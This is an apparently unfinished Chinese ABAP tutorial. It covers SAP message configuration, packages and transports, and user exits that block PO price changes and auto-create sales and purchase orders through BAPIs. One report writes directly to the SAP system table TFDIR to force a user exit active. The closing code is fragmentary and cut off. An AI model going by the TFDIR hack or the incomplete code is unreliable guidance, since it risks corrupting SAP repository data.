ABAP三月通
前 言... 2
一.基础篇... 2
1.什么是ABAP ?. 2
2.ABAP开发环境的建立... 2
3.获得Access Key .. 3
4.ABAP workbench和ABAP dictionary. 3
5.第一个程序-Hello World.. 3
6.ABAP语法简介... 3
7.Open SQL和Native SQL. 4
8.内表和工作区... 4
9.使用字段符号... 4
10.模块化程序... 4
11.文件处理... 4
12.簇数据库和逻辑数据库... 4
13.消息和错误处理... 4
14.使用用户授权... 4
15.调用外部程序和程序动态生产... 4
16.选择屏幕... 4
17.使用程序运行变式... 4
18.制作Tcode. 4
二.加强篇.. 5
1.CATT. 5
2.BDC. 5
3.制作background job. 5
4.SapScript. 5
5.Smartform. 5
6.SAP Query. 5
7.ALV. 5
8.ALE/iDoc. 5
9.Report painter和Drilldown Report. 5
10.RFC/BAPI. 5
11.编写用户增强... 5
12.深入ABAP工作台... 5
三.实战篇... 5
MM模块开发实例.. 5
SD模块开发实例.. 5
PP模块开发实例.. 5
FI模块开发实例.. 6
CO模块开发实例.. 6
开发项目流程简介.. 6
附录:. 6
ABAP/Basis Transaction Codes. 6
如果读者已经有一定ABAP经验,可不看此篇,在此篇中,花了很少篇幅回顾ABAP编程的基本常识,读者如有其他开发工具的知识,花很少时间就可理解这些常识. |
了解一下ABAP的发展历史是必要的,ABAP产生的最初的目的是用以生成简单打印报表程序,我们知道SAP最初是为解决财务实时数据处理问题的,ABAP(Advanced Business Application Programming->高级业务应用编程语言)现在用于编写SAP AG的几乎全部产品源代码.
严格地讲,ABAP/4不仅仅是一个开发工具,而且是一套完整的client/server开发环境,这很好理解,微软的Visiual Studio是一开发环境,VB,VC++等是开发工具.ABAP开发环境包含支持程序开发的一些函数和包等.
如图1-1,是SAP开发环境的一个三层架构的例图,三层(多层)的概念也不新鲜,比如在安装SAP时也可将DB instance安在一台server, Central instance在另一台所谓的Application server(我想这应是相关SAP基础系统包括各种应用程序所在),而通常客户端安装的SAP Logon Front End,SAP会话管理器等是所谓的表示层,它通过TCP/IP,SAP演示协议或RFC和应用服务器进行数据传输,用户看到的只是处理后的数据返回.
和Delphi的三层逻辑相近,在应用层包含多个组件象ABAP开发平台,身份验证,系统管理维护等用以处理会话,更新,排队,网关,数据层处理native 和Open SQL等(这是从内部机制方面看),SAP各模块应用的业务逻辑都在应用层被处理(从用户角度)然后结果被返回.
图1-2是SAP Logon的一个截图,[1]表示应用服务器(通常企业为了节省成本和方便管理可能会将应用服务器和数据库安装在同一起),[2]System number,举个实例,开发和测试服务共用一台服务器,开发使用system number00,而测试使用system number 01,通过system number逻辑地将一台physical server逻辑地分成了两台application server.
学习ABAP并不难,有人说SAP系统重在管理思想,不在技术,通常对有编程经验的读者不用任何培训参考一些相关资料就可立即上手.
简单介绍下ABAP/4的一些特征:
1.和SAP紧密结合,尤其在开发报表方面,坦率地讲,除了和SAP集成的好处,.我定认为ABAP在报表开发上比Crystal report Tool要高效简单.
2.和VB一样 ,ABAP是解释形的,如读者精通VB,学习ABAP应该豪不费力,倒是既然SAP是企业管理解决方案,ABAPer必须对企业管理流程熟悉.
解释性的另一好处是可以很好跟踪程序逻辑(使用/H),这对了解业务逻辑的实和追踪错误很有效. 和VB不同的是,VB跟踪时允许程序运行指针随意往回或往全拉而ABAP程序去不行, 但是ABAP程序允许在运行时修改变量的值,这是编译程序不能做到的. 当然通常编译比解释执行的速度会更快.
ABAP程序执行并不直接读取源代码,而是执行内部经过“生成”的描述,对于ABAP/4字典的修改激活后将触发内部描述的重新生成,如程序并没激活就执行原版本,或者出现错误(程序没激活可能造成ABAP Dumping ABAP).
3.在对数据库处理方面,除了可直接执行SQL(使用native sql,缺点是错误处理很难控制,相当于有开发环境将SQL 语句直接传给DB去执行),SAP在ABAP开发环境层还提供了一套Open SQL访问底层数据库.
4. 程序员都知道Windows平台下开发都支持事件驱动,Windows系统本身也支持事件驱动,ABAP也提供了事件驱动,这表现在Dialog编程方面,但是ABAP在此方面并不强,而且相对讲也比较难于掌握(在后面会讨论).
5.基于面向对象的风靡,ABAP在此方面也有相当反应,在SAP强大的软件包中提供了大量可重复使用的程序,读者也可定义类并使用它快速建立新的对象.
6.类似Java,ABAP开发的程序能运行于任何操作系统(Java有Java虚拟机,ABAP也有ABAP processor),多种数据库(比如在ABAP字典中实现了透明表对各种底层数据库表的映射,这样在ABAP层看到的透明表就和具体数据库无关),各种网络系统.
图1-3是一个ABAP开发和运行环境的图例.
1 使用C|C++建立ABAP 开发工具,数亿行ABAP source code组成SAP AG多个产品. 姑且不论国内ERP产品设计在解决企业流程上的局限性,在大多数国外的ERP产品中我们都可看到结合自身ERP自带的开发工具,在技术上这也是落后人家.所以建议国内ERP界能少谈点象什么”不上ERP等死,上ERP找死”,”百分之百的企业上ERP都失败”诸如的空洞口号(实际上我并不知道他们是凭什么得出这样的结论的),多干点实际的事情. 2 既然ABAP是解释型的,运行速度会有影响吗?我想多少会有的,为了解决这个问题,除了要加大相关服务器内存外(相对日新月异的硬件技术这已非主要瓶颈) ),SAP本身在提高性能也提供了相当的ABAP技术,比如使用Cluster table, Pooled table和Logical database ,在接下来会有详细介绍. |
一个ABAP顾问和我讨论说,大学毕业我做ABAP开发不久做了顾问,薪资相当可观,最要好同学在unix平台下写Cobar组件, 薪资却并不理想. 从技术角度,我认为使用C++写组件肯定比ABAP开发难度要高,用其人话说他是坐的庙好.是的,SAP行业特别是早些年是个被异化的行业,人们可看到某些人出于经济目的铺天盖地的对ERP不正确的宣传,这同样反应在IT各行业,”拿到XX牌Route认证,拿到XX网络认证,拿到XX数据库认证,拿到XX管理学位年薪基本的都在十几万以上”,现在人们发现实际不是这回事,从现在,SAP也已经开始降温了,我想这趋势还会持续. 和学习其它语言唯一不同的是,ABAP是集成在SAP基础平台系统中的,为了学习ABAP,你必须安装一套SAP(可选择R/3,miniSAP,或IDES),而通常的情况是安装光盘渠道比较难找(只有一些大企业实施了SAP才可能有,而且还必须注意版权问题,其他开发工具随便都可找到安装程序),对想学习ABAP的程序员这是个主要门槛. |
掌握基本的ABAP开发环境对ABAPer是有益的,似乎多数ABAPer对底层并不感兴趣,
|
|
|
|
如何进行ABAP开发呢?本节使用老套的做法,介绍如何建立一个”Hello World”的ABAP程序, 为了让读者尽快掌握ABAP开发熟悉ABAP开发环境是必须的,请看图1.5-1.
程序的原代码如下: Report ZHELLO. Write ‘Hello World!’. 按F8运行,运行成功在屏幕上显示Hello World!的字样,恭喜你,第一个程序运行成功. |
数据类型
控制流程
文本摘要
输出格式
程序调试
尽管消息这词还用在其他地方比如PO,SO打印传真等所谓的output message(请看ABAP百夜谈),系统出现异常,在这里消息只谈在程序运行逻辑异常处理时的消息.
1定义消息(参考图7-7).
使用Tcode SE91可自定义包含多消息号的消息类,在图7-7中就定义了一个消息类ZFIMSG,同时消息号017 中使用了俩&消息变量
2运用消息.
1.可在程序Title中使用MESSAGE-ID加入消息类. REPORT ZMSGTEST MESSAGE-ID ZFIMSG . MESSAGE I017. 使用消息IMG有这样的画面,[1][2]的appl和work area实际上对应的就是程序的message_id(SE91:message class).
2.在程序Title中定义直接在语句中使用. REPORT ZMSGTEST . MESSAGE I017(ZFIMSG). 1. 将变量赋给消息. REPORT ZMSGTEST . MESSAGE I017(ZFIMSG) with ‘Var1’ ‘Var2’ ‘Var3’ . 或者 MESSAGE ID ' ZFIMSG ' TYPE 'I' NUMBER '0171' with ‘Var1’ ‘Var2’ ‘Var3’ .
尽管017只定义了两消息变量,但是可With多个值,当然只有前俩生效. 4.SAP程序消息类型有下列几种. I:信息窗口 W:警告 E:错误 S:成功 A:终止程序或Tcode X:未知. 5.和标准SAP一样,你可配置消息,比如你需要由用户决定消息类型,使用下面程序. PROGRAM ZMSGTEST . CALL FUNCTION 'READ_CUSTOMIZED_MESSAGE' EXPORTING I_ARBGB = 'ZFIMSG' I_DTYPE = '' I_MSGNR = '017' IMPORTING E_MSGTY = SY-MSGTY. 假设你做了Tcode和OBA5一样可配置消息类型,在程序中你就可根据返回值SY-MSGTY判断下步工作,E停止处理,A退出程序等. 在标准程序中,接下来会PERFORM MESSAGE_SEND来决定发送消息类型. |
3常用消息表格和各模块常用消息配置Tcode.
在消息配置中,Application Area和SE91的Message Class实际上是同一概念.
1消息相关最常用的table: T100: SAP能用到的消息都应该在此表中找到. T160M :MM模块相关消息表,此表可完全直接维护.就是说只要记住它,MM的消息配置直接使用SE16就可以. T100C: FI模块中用户自定义的消息,比如使用OBA5, OFMG等自定义的消息会写入此表,CO配置消息不在此表. T100S: 此表保存着允许用户更改的应用区域和消息号,举例假设你删除了KI 005则在OBA5中再不能配置此消息.(对MM模块有些例外,M7不在此表,使用OMCQ依旧可设置,M3不在此表,OMT4依旧可设置)
此表也可直接维护.和T160M不同的是,你必须在SE16输入T100S按新建按钮 才可维护.查询时只可Display. T100U: 哪个用户最后更改了消息,从此表能找到. T100W: For Workflow 2常用Tcode(部分): FI: OBA5|OFMG|OFPM MM: OMRM|OKZZ|OMT4|OMCQ |O04C| SD: OVAH CO: OPR4_ACT|OPR4_CK|OPR4_CKML|OPR4_CKPF|OPR4_KKA|OPR4_KKP|OPR4_KKS| OPR4_KKS1|OPR4_PPCOPP Others: OPR5|OPR1|OPR3|OPR6|OPR7|OPR8|OPR9|OPRCMFE|MSW1|MSW2 3应用举例. 物料价格维护问题 [Case 1]如何在物料价格未维护时依旧可估算成本. 比如在CK11N(CK40N)计算成品标准成本时,其中有一些Component没维护价格.就可使用 OPR4_CK将默认的错误消息Switch Off掉(从Tcode OKKN->Misc.->Error Management按钮也可). ***另外临时处理方法一是将相关component的物料Cost 1 View选上Do not Costing. 对需要计算标准成本的材料选上它就不再允许计算标准成本,不妥,但是对原材料无所谓,因为系统会这样处理,如此材料没维护价格,BOM用到它的成品不计算其成本,但是如此物料维护了价格后,还是以物料价格为先的.(当然CK11N去估算此原材料是不行的,用户也不需如此做).二是按SAP推荐的如果将price设成0.01,price unit设置成100. [Case 2]如何限定物料价格必须维护. (1)对采用S price control的.SAP默认是Warning(Tcode :OMT4 M3-132,如需要限定必须维护价格,将其改成W就可. (2)对采用V price control的,OMT4找不到其消息号M3-131,但系统默认是Warning,如果用户认为也有相关配置就有犯了认为SAP万能的错误,再次强调SAP只是一堆代码并不神秘.好让我们看看其逻辑. ***实际上直接使用SE16:T160M可直接配置MM相关. 如图:[1]SE38找到程序LMG11F01 [2]在此处设置断点 [3]如价格为0(空格) 写死的,当然配置无效.
再看S Price control(如下图,显然从T160M表读了IMG数据).
4灵活运用消息. 对于消息的运用,除了可配置消息类别外,另外一个重要用处就在于,可根据消息找到程序弹出消息的确切行,然后稍微花点时间看看程序逻辑就可大概知道异常发生的根本原因. 从某种程度来讲,即使对某模块很陌生,只要掌握得好,依旧可排除一些问题. 5 配置自定义的消息. 俩方法可模妨SAP的消息配置 1从上我们已经知道既然T160M是可直接使用SE16维护的,我们就可直接将相关设置写入T160M.然后就可根据相关设置取得消息类别(如上图我们使用函数ME_CHECK_T160M),这样比类似MESSAGE E017(ZFIMSG)—Hard code要安全得多,假设不管三七二十一就给出错误消息,除非在程序中确信已考虑了所有情况,否则还是在T160M这样设置比较好(万一在生产环境还可更改E成W什么的).
2我们知道T100C是所谓的可配置消息表,我们可使用SE16:T100C和V_T100C. (1)SE16:T100S定义消息可配置信息. 如图[1]在此新建.(进去browse数据似乎不可新建)
设置消息.如下图. [1]Appl Area消息类ZFIMSG. [2]表示允许配置的消息类型 [3]没选则表示不能关闭消息.
(2)SE16:V_T100C配置消息. 如图: [1]表示直接使用程序(Tcode)的消息类型[2]当当程序以BDC方式运行时的消息类型 [3]就是上图设置的允许的消息类型,可看到警告和关闭都没出现(T100C没允许)
同样在程序中避免使用泪水MESSAGE E017(ZFIMSG)而采用 CALL FUNCTION 'READ_CUSTOMIZED_MESSAGE' EXPORTING I_ARBGB = 'ZFIMSG' I_DTYPE = '' I_MSGNR = '017' IMPORTING E_MSGTY = SY-MSGTY. 根据返回的SY-MSGTY去判断消息类型将更好些. 6实例介绍 PO在有发票校验后禁止修改价格,假设无PO release策略,使用User-exit步骤如下: (1)找合适的用户出口 发现EXIT_SAPMM06E_017比较合适,SMOD 输入enhancement name :MM06E005 (2)编写代码. *&---------------------------------------------------------------------* *& Include ZXM06U42 * *&---------------------------------------------------------------------* DATA : ZWATEKPO like BEKPO , ZIEINFO LIKE EINFO OCCURS 0 WITH HEADER LINE, ZERMSG(73) TYPE C. TABLES EKBE . ***TEKPO records all the old PO item date . *** I_EKPO records currently processed PO item . READ TABLE TEKPO INTO ZWATEKPO WITH KEY EBELP = I_EKPO-EBELP . ***只对ME22N才生效. CHECK SY-TCODE = 'ME22N '. ***EKBE是PO history 表,如有Q,R表示有发票校验历史,不允许更改价## SELECT SINGLE * FROM EKBE WHERE EBELN = I_EKPO-EBELn AND EBELP = I_EKPO-EBELP AND ( BEWTP = 'Q' OR BEWTP = 'R'). CHECK SY-SUBRC = 0 . ***如果SY-SUBRC =0表示发票已经校验,不允许更改价格,否则还是可更改价格## IF I_EKPO-NETPR <> ZWATEKPO-NETPR . *** Change e017(ZFIMSG) accordingly * MESSAGE e017(ZFIMSG)."使用下面函数代替. CALL FUNCTION 'READ_CUSTOMIZED_MESSAGE' EXPORTING I_ARBGB = 'ZFIMSG' I_DTYPE = '' I_MSGNR = '017' IMPORTING E_MSGTY = SY-MSGTY. CHECK SY-MSGTY NE '-' . REFRESH ZIEINFO. ZIEINFO-MSGID = 'ZFIMSG'. ZIEINFO-MSGNO = '017' . ZIEINFO-MSGV1 = 'VAR1'. ZIEINFO-MSGV2 = 'VAR2'. APPEND ZIEINFO . CALL FUNCTION 'MESSAGE_GET_TEXT' EXPORTING IEINFO = ZIEINFO ILANGU = SY-LANGU IMPORTING ETEXT = ZERMSG . MESSAGE ZERMSG TYPE SY-MSGTY . ENDIF.
***在大多数情况下追踪消息能发现问题所在,然而在一些特定情况下,SAP显示的消息似乎和实际业务并不符合.好比一个人咳嗽的厉害,以为是感冒结果其实不过是有写异物进入其喉咙而已.
|
在这章将深入介绍各种ABAP对象的操作.
这节并不是侧重介绍如何配置传输请求和其运行机制的,这通常是basis的工作和ABAPer并无关系,还是那句话,了解点大概是必要的.
通常企业起码会有两个系统,开发(测试)系统和生产系统(有些企业开发任务相对少,开发和测试使用同一台server甚至同一client,开发和测试也都有ABAPer完成),如果要严格开发流程,开发,测试必须是分开的(为了节省当然可使用同一server,不同的Client甚至用不同System Number逻辑分成两Server),在此不深入讨论.
熟悉几个名词:
1开发类(Development Class).
开发类可简单理解为逻辑上相关的一组ABAP对象,在将来传输时将使用同一传输层.实际上开发类本身也可看做是一个ABAP对象,可使用SE80建立.
$TMP是本地开发类,属于此开发类的任何ABAP对象(包括自定义的表,编写的程序等都只能在Client做测试用而不能被传输到其他Client.
包现在被用来代退开发类.
2.包(Package)
相关的ABAP对象被组合在一个包内,SE16:TADIR可看到被分配到某包的所有的ABAP对象,包决定了这些对象的传输层.
所有的包被存在表TDEVC中,建立包可使用SE80或直接使用SM30:V_TDEVC.
包作为开发类的退代和前身有这么几个加强特征.
1.包可嵌套使用(这点类似Java package)
2.包类可包含最多本包中可见的对象,这些对象在包外不可见
这点类似私有对象(Private object),在OOP中也很常见.
3.包可为包接口定义使用访问授权.
4.通常自定义包必须是Y或Z前坠,这点和其他ABAP对象相同(包其实也可看做ABAP对象).其他一些包前坠 A-S, U-X表示SAP标准包,T私有测试包,$本地临时包,/***名字空间前坠.
3.传输层(Transport Layer)
传输层决定包内对象是分配给本地还是可产生传输请求.
通常,开发系统都被分配了一个标准的传输层,当包被建立时,.它就被分配了一个标准传输层.包内对象也立即自动获得相关传输属性.
相关IMG配置使用的是标准的传输层.
通常由basis使用Tcode STMS配置传输管理系统维护传输曾和路由.
图2.13-1,显示的是从DVU开发的程序传输到QAS和PRD的传输路由,在图中程序在DVU server的client 210,100开发后被传输到QAS Client 310测试,成功后被分别传入PRD Client 800,810和820 .
4.传输请求
程序是究竟保存在server的什么地方?程序是如何在不同client和server之间进行传输的?要明白这问题,首先让我们看看什么是传输程序和传输控制程序.
传输控制程序TP和R3TRANS传输程序,R3TRANS被用来实现SAP各Client间的数据传输和不同版本迁移,TP传输控制程序根据传输参数(Transport Profile)调用R3TRANS传输程序.
VB,Delphi,Java其实开发工具使用都简单,别人都弄出开发环境都给弄出了,学用还会难吗?
在这一篇将介绍企业常用模块开发实例,其中可能还涉及一些辅助相关后台配置,每个模块的8个实例是经过精心挑选出的具有相当代表性,由于篇幅原因和各个企业实际需求可能不一样,有的可能在本书只描述了设计思路和部分源代码,希望读者在实际运用中能自行完善并能举一反三.除非必要,尽量使用SAP标准的报表少自行开发,另外,如有可能,使用信息结构. |
下面是一个企业的参考MM开发需求清单(并不包括用户出口等). 供应商列表|信息记录|PR,PO打印(Scrip或Smartform)|MRB物料清单|物料报废报表|物料入库报表|物料运输申请单|物料主数据查询报表|收货单打印|IQC报表|Pull List|发料单(生产定单)|物料转移单|Delivery notes|Packing List|RMA发料单|库存分析报告|PO分析报告|GR/IR分析报告|物料盘点单|盘点物料报告等. 如项目紧急而开发人手不足(有些中小企业专职的ABAPer可能只有一个或各模块的SAP内部支持顾问兼做开发),必须排定开发优先次序,除了比如PO套打收货单打印等必须在项目正式上线前完成的开发任务,相关查询报表可在上线后开发. 如果是专职负责开发,依旧需要很好理解业务,最好和负责业务支持的多沟通,一个最有效的方法就是将相关模块的业务流程(通常在业务蓝图阶段会有非常详细的相关资料)在测试系统走一遍,这样对以后开发是大有益处的. |
PO和收货单打印开发
NACE,MB04外协PO.
PO change history
*&---------------------------------------------------------------------* *& Include ZXM06U42 * *&---------------------------------------------------------------------* DATA : ZWATEKPO like BEKPO , ZIEINFO LIKE EINFO OCCURS 0 WITH HEADER LINE, ZERMSG(73) TYPE C. TABLES EKBE . ***TEKPO records all the old PO item date . *** I_EKPO records currently processed PO item . READ TABLE TEKPO INTO ZWATEKPO WITH KEY EBELP = I_EKPO-EBELP . ***只对ME22N才生效. CHECK SY-TCODE = 'ME22N '. ***EKBE是PO history 表,如有Q,R表示有发票校验历史,不允许更改价## SELECT SINGLE * FROM EKBE WHERE EBELN = I_EKPO-EBELn AND EBELP = I_EKPO-EBELP AND ( BEWTP = 'Q' OR BEWTP = 'R'). CHECK SY-SUBRC = 0 . ***如果SY-SUBRC =0表示发票已经校验,不允许更改价格,否则还是可更改价格## IF I_EKPO-NETPR <> ZWATEKPO-NETPR . *** Change e017(ZFIMSG) accordingly * MESSAGE e017(ZFIMSG)."使用下面函数代替. CALL FUNCTION 'READ_CUSTOMIZED_MESSAGE' EXPORTING I_ARBGB = 'ZFIMSG' I_DTYPE = '' I_MSGNR = '017' IMPORTING E_MSGTY = SY-MSGTY. CHECK SY-MSGTY NE '-' . REFRESH ZIEINFO. ZIEINFO-MSGID = 'ZFIMSG'. ZIEINFO-MSGNO = '017' . ZIEINFO-MSGV1 = 'VAR1'. ZIEINFO-MSGV2 = 'VAR2'. APPEND ZIEINFO . CALL FUNCTION 'MESSAGE_GET_TEXT' EXPORTING IEINFO = ZIEINFO ILANGU = SY-LANGU IMPORTING ETEXT = ZERMSG . MESSAGE ZERMSG TYPE SY-MSGTY . ENDIF. |
自动建立PO和SO
一. SE11建立一记录表ZPOSO.. 1
二. 使用PO User_exit 1
***本程序思路同样适合从建立Sales order时自动建立PO 只是调用的function是BAPI_CREATE_PO和使用creating SO时的User_exit而已
如图建立一个表ZPOSO俩个用途,
1. 保存PO到SO的联系以方便将来查询
2. 判断PO是create还是change (比如ME22N update PO qty,or delete PO line.)
3. 判断
***注意EBELN和EBELP合起来才是key fields相当于DB层的Primary key
EXIT_SAPMM06E_001 (002,004,006,007,009) 006是PO还未create前检查的.
EXIT_SAPMM06E_016, 017此时虽然有PO item数据但是PO No.还没有给出.
EXIT_SAPMM06E_009, PO已经建立并且数据已经refresh .
所以使用EXIT_SAPMM06E_013
在使用之前必须update TFDIR表将MAND设置成”C”.程序如下:
REPORT Zupdate .
data ztfdir like tfdir occurs 0 with header line .
select * from tfdir into table ztfdir where FUNCNAME =
'EXIT_SAPMM06E_013'.
loop at ztfdir .
ztfdir-MAND = 'C' .
modify ztfdir index sy-tabix TRANSPORTING MAND.
endloop.
update tfdir from ztfdir.
***由于只有一笔使用Work area就可搞定,所以要这样霸王强上弓是没有找到配置在哪里.
REPORT ZTEST11 .
data ztfdir like tfdir .
select single * from tfdir into ztfdir where FUNCNAME =
'EXIT_SAPMM06E_013'.
ztfdir-MAND = 'C' .
update tfdir from ztfdir.
*** 通过在LSMODU23(Function: MODX_FUNCTION_ACTIVE_CHECK设置断点很容易找出已经有PO的user_exit)
SE37 : MODX_FUNCTION_ACTIVE_CHECK
在如下图中设置断点.
你就会发现TFDIR(Function Module表)的MAND必须=AKTIV_FLAG (值就是C)才会call相应的User_exit函数
用户增强: 所有的Enhancement在表MODSAP,用户增强大概有三类
MODSAP是Enhancement表, 而TFDIR是看是否此enhancement被激活,就看字段MAND是否是”C”而已
1. E Enhancement exits :就是常说的写User_exit
2. C GUI codes 没用过
3. 3. S Subscreens 屏幕增强
OK,其实上面不用coding, 通过search MODSAP发现EXIT_SAPMM06E_013 在Enhancement MM06E005中.
使用T-code :SMOD F8 test运行然后可激活EXIT_SAPMM06E_013 ,如果你确实找不到enhancement name和exit函数对应关系,也没关系. 使用SMOD自己建立一个Enhancement 比如叫
ZPOSO ,然后你将function 加入,它也会有错误提示告诉你它属于的enhancement,还有就是使用上面的code直接update .
你自己可写个code将所有的user_exit找出来,很容易的哟.如你完全明白这篇文章,我想你就理解了user_exit 和BAPI的使用. 建立BAPI并使用其它语言call同样很简单.
EXIT_SAPMM06E_013 include程序 ZXM06U44
在coding前使用SE37 test BAPI :BAPI_SALESORDER_CREATEFROMDATA
***注意各企业因为设置的fields status不同可能有所不同.
对ORDER_HEADER_IN只需下面几个参数
ORDER_ITEMS_IN只需要MATERIAL,REQ_QTY—(Order qty in sales units - 00009001 corresponds to 9.001,就是说call BAP REQ_QTY测试时= actual qty * 1000)
, COND_TYPE, COND_VALUE,(即对应到price很奇怪必须/10, 不知其他系统是否这样,此是注意点)
PO_METH_S(Ship-to party purchase order type,如果设置了必须输入的话),
ORDER_PARTNERS如果SP和SH相同的话,只要一条SP然后输入customer No就可,如果ship-to-party不同多家一条SH+customer No.吧.
还有一样要注意. AG—SP, RE—BP
—SH (SAP经常有这样的case,就是save在DB中的数据和display出来的数据有所不同, 为什么要这样, 不得而知,难怪SAP不推荐直接使用DB table 做报表,或者这是SAP AG的一个策略)
测试OK.开始coding on ZXM06U44, Source code 如下,log写在ZPOSO表中.
测试使用BAPI_SALESORDER_CHANGE
就是说它实际是call BAPI_SALESDOCUMENT_CHANGE的
你可知道ORDER_HEADER_INX-UPDATEFLAG为U时是update,为D时是Delete sales order,不选还不行.
好了下面是Source Code(仅供参考,大体框架OK,可能根据你的SAP实际情况做些调整) .
*----------------------------------------------------------------------*
* INCLUDE ZXM06U44
* 在company 1000建立PO时同时建立SO in 1000和PO in 2000 *
* 注意此程序会反复call .
*----------------------------------------------------------------------*
data:
ZORDER_HEADER_IN like BAPISDHEAD ,
ZORDER_ITEMS_IN like BAPIITEMIN occurs 0 with header line ,
ZORDER_PARTNERS like BAPIPARTNR occurs 0 with header line ,
ZSALESDOCUMENT like BAPIVBELN-VBELN ,
ZRETURN like BAPIRETURN .
Data:
ZPOHEADER like BAPIEKKOC ,
ZPOITEMS like BAPIEKPOC occurs 0 with header line,
ZPO_ITEM_SCHEDULES like BAPIEKET occurs 0 with header line,
ZPURCHASEORDER like BAPIEKKOC-PO_NUMBER .
tables :ZPOSO .
data zposolog like zposo occurs 0 with header line.
data : Zrepcall(1) type C. "防止反复调用BAPI_PO_CREATE.
Refresh : ZORDER_ITEMS_IN .
*** 实际应用根据I_EKKO-EBELN(其实从EBELN-PO No.可判断出plant)
*** 1.I_EKKO-EBELN前面5位用case语句判断
*** 2.根据I_EKKO-BUKRS(comp. code)和XEKPO-WERKS(plant)判断
*** company code 2000是专门用来采购的HK 公司.
*if I_EKKO-BUKRS <> '1000'.
* exit.
*endif.
check I_EKKO-BUKRS eq '1000'. "只对comp 1000适用.
***判断表ZPOSO有无PO no.无call BAPI_SALESORDER_CREATEFROMDATA create SO
*** 如果存在call BAPi BAPI_SALESORDER_CHANGE change SO.
***注意在ME22N change PO时间XEKPO内表中只保留了被改变line item的数据.
select single * from ZPOSO where EBELN eq I_EKKO-EBELN.
if sy-subrc eq 0 .
* Change Sales Order,Purchase Order留给你自己写不告诉你
*CALL FUNCTION 'BAPI_SALESORDER_CHANGE'
*CALL FUNCTION 'BAPI_PO_CHANGE'
else . "建立Purchase Order 和Sales Order
*** 从ZFLAG表中读取Zrepcall看是否是T, 不管使用什么方法总之不要反复
**在此处设置断点在第二次调用时将Zrepcall设成T退出.
**好象无法设置到那种真正的全局变量只好使用一个表罗
**你就会发现当在comp 1000建立PO同时也建立了SO并且comp 2000也有PO
*select single Zrepcall into Zrepcall from zflag .
if Zrepcall = 'T' .
exit .
endif.
***注意使用PO另一个user_exit 001将Zflag的zrepcall设置成F
***接下来的语句立即update zflag将zrepcall设置成T.
***----------------------------------------------***
*** 开始建立Purchase Order in company 2000 ***
***----------------------------------------------***
***----------------------------------------------***
*** 开始建立Sales Order in same company 1000 ***
***----------------------------------------------***
***根据公司实际更改ZOR是标准Sales order
***----Sales Order Header --- ***
ZORDER_HEADER_IN-DOC_TYPE = 'ZOR'.
ZORDER_HEADER_IN-SALES_ORG = '1100'.
ZORDER_HEADER_IN-DISTR_CHAN = '11'.
ZORDER_HEADER_IN-DIVISION = '11'.
ZORDER_HEADER_IN-CURRENCY = I_EKKO-WAERS. "Order currency
ZORDER_HEADER_IN-PURCH_NO = I_EKKO-EBELN .
***---Purchase Order Header ---***
ZPOHEADER-PURCH_ORG = I_EKKO-EKORG. "正式使用换2000的采购组织
ZPOHEADER-PUR_GROUP = I_EKKO-EKGRP . "正式使用换comp2000的采购组
ZPOHEADER-CO_CODE = '2000' .
ZPOHEADER-VENDOR = I_EKKO-LIFNR .
ZPOHEADER-DOC_TYPE = 'NB' . "I_EKKO-BSART.
***根据PO item写入SO item和另家公司的PO items
loop at XEKPO .
***----写SO items ---***
ZORDER_ITEMS_IN-ITM_NUMBER = XEKPO-EBELP .
* 使PO item NO和SO item No完全相对应, PO ,SO item可manual input.
ZORDER_ITEMS_IN-MATERIAL = XEKPO-MATNR. "'08K2555'.
ZORDER_ITEMS_IN-REQ_QTY = XEKPO-MENGE .
ZORDER_ITEMS_IN-REQ_QTY = ZORDER_ITEMS_IN-REQ_QTY * 1000 .
* Call SO BAPI时Qty 测试时间必须乘上1000.ABAP中则不用
ZORDER_ITEMS_IN-COND_TYPE = 'ZPR1'. "ZPR1是EST定义的price cond.
ZORDER_ITEMS_IN-COND_VALUE = XEKPO-NETPR.
ZORDER_ITEMS_IN-COND_VALUE = ZORDER_ITEMS_IN-COND_VALUE / 10 .
*Call SO BAPI test时Price必须/10
ZORDER_ITEMS_IN-PO_METH_S = '010' . "表示是维修期,EST设置成必输字段.
Append ZORDER_ITEMS_IN .
***---写另公司的PO items,如果有必要让俩公司PO外部给号PONo可一致---***
ZPOITEMS-PUR_MAT = XEKPO-MATNR.
ZPOITEMS-PLANT = XEKPO-WERKS .
ZPOITEMS-NET_PRICE = XEKPO-NETPR.
***仅仅是test,注意XEKET,shedules delivery date 没item不同哟.自己去加强吧
ZPO_ITEM_SCHEDULES-DELIV_DATE = SY-DATUM . " XEKET-EINDT
ZPO_ITEM_SCHEDULES-QUANTITY = XEKPO-MENGE .
append ZPOITEMS .
append ZPO_ITEM_SCHEDULES .
endloop.
***为了简单就将SP-Sold_to_Party和SH-Ship_to_Party设置成相同.
***AG-SP:sold_to WE:SH Shipping-to,BAPI测试只要SP,call时则要求俩者
***下面假设PO vendor no就是SO 的customer no,如非就建立对应关系.
ZORDER_PARTNERS-PARTN_ROLE = 'AG'.
ZORDER_PARTNERS-PARTN_NUMB = I_EKKO-LIFNR.
***实际应用时HK开PO时产生的SO customer当然只有一个就是SZ公司.
Append ZORDER_PARTNERS .
ZORDER_PARTNERS-PARTN_ROLE = 'WE'.
ZORDER_PARTNERS-PARTN_NUMB = I_EKKO-LIFNR.
Append ZORDER_PARTNERS .
CALL FUNCTION 'BAPI_SALESORDER_CREATEFROMDATA'
EXPORTING
ORDER_HEADER_IN = ZORDER_HEADER_IN
IMPORTING
SALESDOCUMENT = ZSALESDOCUMENT
* SOLD_TO_PARTY =
* SHIP_TO_PARTY =
* BILLING_PARTY =
RETURN = ZRETURN
TABLES
ORDER_ITEMS_IN = ZORDER_ITEMS_IN
ORDER_PARTNERS = ZORDER_PARTNERS
* ORDER_ITEMS_OUT =
* ORDER_CFGS_REF =
* ORDER_CFGS_INST =
* ORDER_CFGS_PART_OF =
* ORDER_CFGS_VALUE =
* ORDER_CFGS_BLOB =
* ORDER_CCARD =
.
if ZSALESDOCUMENT <> '' .
loop at XEKPO .
zposolog-ebeln = I_EKKO-EBELN. " PO No.
zposolog-ebelp = XEKPO-EBELP. " PO item No.
zposolog-vbeln = ZSALESDOCUMENT."SO No.
zposolog-posnr = XEKPO-EBELP . "SO Item NO.
zposolog-waers = I_EKKO-WAERS . "Currency
zposolog-matnr = XEKPO-MATNR . "Material
zposolog-kwmeng = XEKPO-MENGE. "PO/SO qty
zposolog-netpr = XEKPO-netpr. "PO/SO price
zposolog-bapimsg = 'Creation OK' . "ZRETURN-MESSAGE .
zposolog-flag = 'T'. "Failure
append zposolog .
insert ZPOSO from zposolog.
endloop.
else.
zposolog-ebeln = I_EKKO-EBELN.
* zposolog-bapimsg = ZRETURN-MESSAGE .
